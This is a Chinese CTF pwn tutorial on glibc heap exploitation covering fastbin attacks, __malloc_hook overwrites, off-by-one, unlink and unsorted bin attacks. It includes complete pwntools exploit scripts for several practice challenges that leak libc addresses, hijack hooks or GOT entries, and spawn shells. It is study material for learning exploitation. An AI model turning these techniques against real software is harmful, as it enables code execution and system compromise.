原文:https://www.freebuf.com/articles/endpoint/371095.html

0x00 前言

根据某大佬所说,pwn之路分为栈,堆,和内核。当前,如果你看到这个文章,说明你已经达到一个正在前往pwn深处的分水岭。堆的魔力和魅力实际上远远大于栈,希望我的文章能够帮助到入门的同学们。请注意,如果一些东西看不太明白请参考多方文章并且结合实际来搞明白,这是最好的。

本文的目的希望是让大家不要太害怕堆(就像我当年那样),从而可以继续慢慢踏向pwn这条魅力之路的远方。

堆溢出和UAF

堆溢出(Heap Overflow)是指在程序执行过程中,向堆(Heap)区域写入超出其分配内存边界的数据,从而覆盖了相邻的内存空间。这可能导致程序崩溃、执行意外行为或者被攻击者利用。

而UAF是指释放后引用(Use-After-Free)漏洞,它是一种常见的内存安全问题。当程序释放了一个堆上的内存块,但后续仍然继续使用该已释放的内存块,就会产生UAF漏洞。攻击者可以利用UAF漏洞来执行恶意代码,读取敏感数据,控制程序的执行流程等。

当堆溢出和UAF漏洞同时存在时,攻击者可以通过利用堆溢出漏洞来修改或篡改已释放的内存块,进而改变UAF漏洞的利用条件或影响其后续的使用。这种组合攻击称为堆溢出的UAF(Heap Overflow Use-After-Free)。攻击者可以通过堆溢出来破坏程序的内存结构,并结合UAF漏洞来实现更复杂的攻击,例如执行任意代码、提升权限或者绕过安全保护机制等。

0x01 fastbin attack 1

fastbin就是在释放一个小于global_max_size的且不小于最小内存的chunk(就是一块堆内存)的时候,用来存放这块堆内存的bin(垃圾桶)他是单链表结构(大家都学过了吧!

动态内存堆通常由两个主要的部分组成:一个是堆的头部(Heap Header),用于记录堆的状态和元数据信息,另一个是堆的主体(Heap Body),用于存储分配出去的内存块和空闲内存块。

堆的主体通常是由一块或多块连续的虚拟内存区域组成,每个区域通常是由多个内存块(Block)组成,每个内存块包含一个头部和一个实际的数据部分。头部通常用于记录内存块的状态(已分配或空闲)、大小、指向下一个或上一个内存块的指针等信息。

是不是听起来不像人话哈哈,那直接看看代码吧!

struct BlockHeader {
    size_t size;            // 内存块的大小,包括头部信息和数据部分
    struct BlockHeader* next;   // 指向下一个内存块的指针
    int is_free;            // 标记内存块是否空闲
};

// 堆的主体信息
struct Heap {
    struct BlockHeader* head;   // 指向堆中第一个内存块的指针
    size_t size;            // 堆的大小,包括已分配和空闲的内存块
};

0x01 攻击的第一步:修改指针

当我们释放一个符合大小的内存堆A,A会被分到fastbin中。再释放一个符合大小的内存堆B,B也会被分到fastbin,此时B中存放的next指针就是A。如果再释放一次A,那么A的next就会指向B,两边就相互指了,达成修改next指针的目的。

我们也可以直接覆盖数据修改内存堆中存放的next指针。

修改指针有什么用呢?我们修改指针就可以在下次申请内存的时候申请到我们控制的内存!因为fastbin是这样用的,我们刚才释放了B,随后我们再申请相同大小的,我们就会得到B,然后再申请一次就会得到B指向的A。

所以,如果我们申请得到B,并且B中存放的next是C,那么再次申请就会得到C,随后可以修改C中的内容。

那么我们要修改哪里的内容呢?

这时我们需要了解一个为了安全而危险的函数——“malloc_hook”

0x02 攻击的第二步:hook u!

malloc_hook 函数是GNU C库(glibc)中的一个特殊函数,它可以被用来重写 malloc()、realloc()、free() 等内存管理函数的实现,从而对程序的内存分配和释放过程进行自定义的控制和监测。

通过设置 malloc_hook 函数指针,我们可以在程序调用 malloc()、realloc() 等函数时,先执行我们自定义的一些操作或者根据一些条件来决定是否执行标准的内存分配/释放操作,比如检测内存泄漏、记录内存分配/释放信息等等。同时,还可以将自定义的实现与标准的内存管理函数结合起来,实现更加灵活的内存管理策略。

在每次调用malloc和realloc,free之前,都会先调用malloc_hook,从而达到检测和自定义函数的目的。

typedef void *(*__malloc_hook)(size_t size, const void *caller);

那么一旦我们修改了malloc_hook函数指针,我们就可以在下次malloc或者realloc,free之类的时候执行到我们需要执行的地址(如调用system,gadget之类),至此漏洞利用完成。

(本人尚未实操,只学了理论,还有很多问题请读者批评指正,后续我会补充,在这里写下堆的学习历程。)

从写代码者(非攻击者)方面的一点补充

知己知彼,百战不殆。了解这个函数是做什么的,我们能更好地利用他。

malloc_hook 是一个函数指针,它可以被用于在程序调用标准的动态内存分配函数 _malloc()、calloc()、realloc()、valloc()、aligned_alloc() 和 memalign()_ 时,实现自定义的内存分配策略。

当程序调用上述任何一个动态内存分配函数时,系统会首先检查是否定义了 malloc_hook 函数指针,如果定义了,则会调用该指针所指向的函数来进行内存分配。通过使用 malloc_hook 函数指针,程序可以实现动态内存分配的拦截和自定义,可以用于调试、内存泄漏检测、性能分析等应用场景。

malloc_hook 函数指针的类型定义如下:

typedef void *(*__malloc_hook)(size_t size, const void *caller);

其中,第一个参数 size 表示要分配的内存大小,第二个参数 caller 是调用动态内存分配函数的函数的返回地址。malloc_hook 函数指针所指向的函数必须返回一个指向分配到的内存块的指针,如果返回 NULL,则表示内存分配失败。

需要注意的是,使用 malloc_hook 函数指针需要非常小心,因为它可以覆盖程序中的标准动态内存分配函数,可能会导致系统崩溃或者内存泄漏等问题。建议仅在必要的情况下使用,并遵循相应的规范和最佳实践。

0x02 fastbin attack 2

babyheap_0ctf_2017,我的第一道堆,fastbin attack。随时欢迎交流。特别鸣谢孙学长和欧阳学长的指导。
参考文章:https://blog.csdn.net/mcmuyanga/article/details/112466134

from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='amd64')

p = process('./heap')
p = remote('node4.buuoj.cn', 29639)
elf = ELF('./heap')
libc = ELF('./libc.so.6')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(1))
    sla(':',str(size))

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':','3')
    sla(':',str(idx))

def dump(idx):
    sla(':','4')
    sla(':',str(idx))

add(0x10)#0
add(0x10)#1
add(0x80)#2


add(0x30)#3
add(0x68)#4
add(0x50)#5

edit(0,p64(0)*3+p64(0xb1))#修改堆这样才能泄露下一个堆的内容!
free(1)#释放他!让我得到更大的,一会输出!
add(0xa0)#得到了!程序现在知道了要输出0xa0!
edit(1,p64(0)*3+p64(0x91))#恢复chunk2信息!
free(2)#释放,你去吧!unsortedbin!带回来地址
dump(1)#得到地址!
base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))#是main_arena的地址,还有一点偏移!
base -= 0x3c4b78#这个偏移可以用gdb的disass *malloc_trim找到!第三十三行
libc.address = base
print(hex(base))

hook = libc.sym.__malloc_hook
#ini1 = libc.sym.memalign_hook_ini
#ini1 = libc.sym.realloc_hook_ini

getshell = base+0x4526a#one_shot,来自onegadget!print(hex(hook))
free(4)#送去fastbin,准备攻击!
edit(3,p64(0)*7+p64(0x71)+p64(hook-0x23))#-0x23是为了申请堆时误导大小为0x7f通过认证!随后进行覆盖!
add(0x68)#2
add(0x68)#4
edit(4,b'\x00'*0x13+p64(getshell))

add(0x20)

ia()
'''0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

[PWN之路]堆攻击那些事儿-小白菜博客
[PWN之路]堆攻击那些事儿-小白菜博客
在这里插入图片描述

exp中注释相关
注意buuctf里面会给好libc

vis命令

0x03 泄露地址的各种姿势

house of orange 泄露libc

参考文章
https://www.cnblogs.com/ZIKH26/articles/16712469.html
不过当前只会泄露,还不知道怎么打捏

黑盾杯2023 leak

https://blog.csdn.net/weixin_52640415/article/details/130887930?spm=1001.2014.3001.5502
有待研究。

泄露libc地址的方式有很多种

1.house of orange(free unsorted后过度覆盖打印)

2.直接打印堆为got表

3.堆重叠(伪造fake chunk包括下一个堆,释放下一个堆然后打印,这个一般需要堆大于0x90)
参考:https://www.cnblogs.com/zhwer/p/13950309.html

4.double malloc(自己命名的),通过修改fastbin的fd,并且伪造fd的大小和fastbin一样,实际上是unsortedbin,然后再次申请这个堆块,得到两次引用这个地址从而泄露地址的机会。

  1. 0x06的unsorted bin attack

off-by-one 例题 hitcontraining_heapcreator

这是buu的pwn第二页最后一题,终于搞定了。
今天自己维护了自己的库魔刀千刃(evilblade),用这个来做pwn,所以从今天开始我的exp会多一些奇怪的东西。这些大家自己理解就好了,其实大概意思就那样,理解思路最重要。

一开始不知道off-by-one
(本质就是可以溢出一个字节,覆盖下一个堆块大小用来伪造堆块,从而申请新的伪造堆块的时候达到溢出的效果)

意思就是程序以为堆块很大(因为被改了),但实际上很小,所以可以达成溢出的效果。

前面想打unsorted bin多了一些没用的东西。

我一定要吐槽一下这个库的问题,我之前用11.3都没问题,这次有问题。
卡了我一晚上,最后换了11的库patch上才好了。

from pwn import *
from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./heapc')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',25146)
evgdb()

def add(size,content):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(1))
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sa(':',content)

def free(idx):
    sla(':','4')
    sla(':',str(idx))

def dump(idx):
    sla(':','3')
    sla(':',str(idx))


add(400,b'a')#0
add(0x30,b'/bin/sh\x00'*3+p64(0x21))#1
add(0x30,b'/bin/sh\x00')#2
free(0)#释放这个堆快的时候,会把自己的大小写到下一个堆块的prev_size中,实际上gdb的颜色才是堆块使用时的可控区域
add(0x198,b'a'*7)#0
dump(0)
addr = tet()
addr = tet()

addr = getx64(0,-1)
base = getbase(addr, 'write',0x2cd7c8)

edit(0,b'/bin/sh\x00'+b'a'*0x188+p64(0x1a0)+b'\x81')#覆盖off-by-one
free(1)
free(2)

add(0x70,b'a'*0x18+p64(0x41)+p64(0)*3+p64(0x21)+p64(0x70)*3+p64(0x21)+p64(0x70)+p64(gotadd('free')))
dump(1)
addr = tet()
addr = u64(ru('\n')[-7:-1].ljust(8,b'\x00'))
dp('addr',hex(addr))
base = getbase(addr,'free')
symoff('free')

os = base+0xf1147
sys = symoff('system',base)

edit(1,p64(sys))

free(0)
ia()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''



在这里插入图片描述

off-by-one第二个例题 roarctf_2019_easy_pwn

from pwn import *
from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27829)

def add(size):
    sla(':',str(1))
    sla(':',str(size))

def edit(idx,size,content):
    sla(':','2')
    sla(':',str(idx))
    sla(':',str(size))
    sla(':',content)

def free(idx):
    sla(':','3')
    sla(':',str(idx))

def dump(idx):
    sla(':',b'4')
    sla(':',str(idx))
#此题在获取size的函数中,当输入大于原始数值10时会返回原始数值+1
#故打off-by-one

add(0x18)#0
add(0x88)#1,构造fakechunk,覆盖2
add(0x88)#2,预备unsorted
add(0x30)#5,防止和top chunk合并
#第一步先构造fake chunk泄露地址
#这里有一个难点,就是会有pre_size的校验
#所以要看一下来确认在哪里写pre_size
free(1)
#free,看一下到哪里写pre_size
#观察到在90下0x20写b0即可(加0x20),只需要打印到下一个堆块前八位,多打印一些也行
edit(0, 0x18+10,b'\x00'*0x18+b'\xb1')
edit(2, 0x18, p64(0xb0)*3)

#因为是calloc申请时会置零,所以要先恢复chunk2信息。
#同理要确认一下恢复到哪里。
add(0xa8)
edit(1,0x10*8+0x10,b'\x00'*0x10*8+p64(0x91)*2)
#数出来是8*0x10+8,恢复
free(2)
#释放fake chunk获得地址,可以泄露
free(4)
dump(1)
addx = getx64(-28,-22)
hook = addx - 0x68
#symoff('_IO_2_1_stdin_')
base = getbase(addx,'_IO_2_1_stdin_',0x298)
os = base + 0x45216
#此时泄露得到基地址,但是还要劫持程序流才行
#因为开启了FULL RELRO,只能修改malloc hook了
#but,malloc_hook过时了,现在用freehook更好!(mallochook打不出来一点,oneshot不符合)
#然后发现freehook太难了,以后再说,一会调一下带源码为什么freehook-0x13不行
#网上说用realloc调节rsp
#原理是malloc_hook->realloc->realloc_hook
#走fastbin attack
add(0x68)
add(0x68)
#申请两个进入fastbin
free(4)
free(2)
#释放进入
dp('hook',hex(hook))
dp('os',os)
rea = symoff('realloc',base)
os = base+0x4526a
#首先修改realloc_hook,因为相邻所以两个一起改了

edit(1,0x10*8+0x10+8,b'\x00'*0x10*8+p64(0x71)*2+p64(hook-0x23))
add(0x68)
add(0x68)
edit(4,3+0x18,b'\x00'*3+p64(0)+p64(os)+p64(rea))
#realloc后正好rsp+0x30就是0,完成
#申请回来
evgdb('b *$rebase(0xccc)')
dp('new',base)
dp('hook-0x23',hook-0x23)
add(1)
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf02b0 execve("/bin/sh", rsi, [rax])
constraints:
  [rsi] == NULL || rsi == NULL
  [[rax]] == NULL || [rax] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL

'''

0x04 Double-Free

这个玩意应该主要是用来进行地址泄露,非常好非常好。稍后会出一道例题。

0x05 Unlink

主要用来修改堆指针,方便实现任意内存写。
https://blog.csdn.net/mcmuyanga/article/details/112602827

#控制fd和bk
heaparray = 
aim = heaparray
ptr = aim+0x10
fd = ptr-0x18
bk = ptr-0x10

0x06 Unsorted bin attack

说明

条件

1.可以控制unsorted bin的bk
2.知道要改哪里

效果

修改任意地址为main_arena的偏移地址(修改为大数)

原理

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

从unsorted bin取chunk0的时候,会从主要块(av)的bk去取,取完之后,chunk0的bk就得排队过来了,下一个就得申请他(unsorted_chunks (av)->bk = bck;)。

这个时候,chunk0的bk假设为chunk x,他的fd自然就得改为av。( bck->fd = unsorted_chunks (av);)

那么如果控制了bk,就可以修改任意地址的内容为av了。

这就是这个代码的理解。

hitcontraining_magicheap

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./heap')
#p = remote('node4.buuoj.cn', 26148)
elf = ELF('./heap')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size,content):
    sla(':',b'1')
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':',b'2')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':',b'3')
    sla(':',str(idx))

add(0x10,b'a')
add(0x80,b'aaaa')
add(0x10,b'aaaa')
free(1)
edit(0,b'a'*8*2+p64(0)+p64(0x91)+p64(0)+p64(0x6020a0-0x10))
add(0x80,b'a')
#add(0x100,b'a')
sl(b'4869')

ia()

.0x07 largebin attack

largebin attack参考
看看这个博客。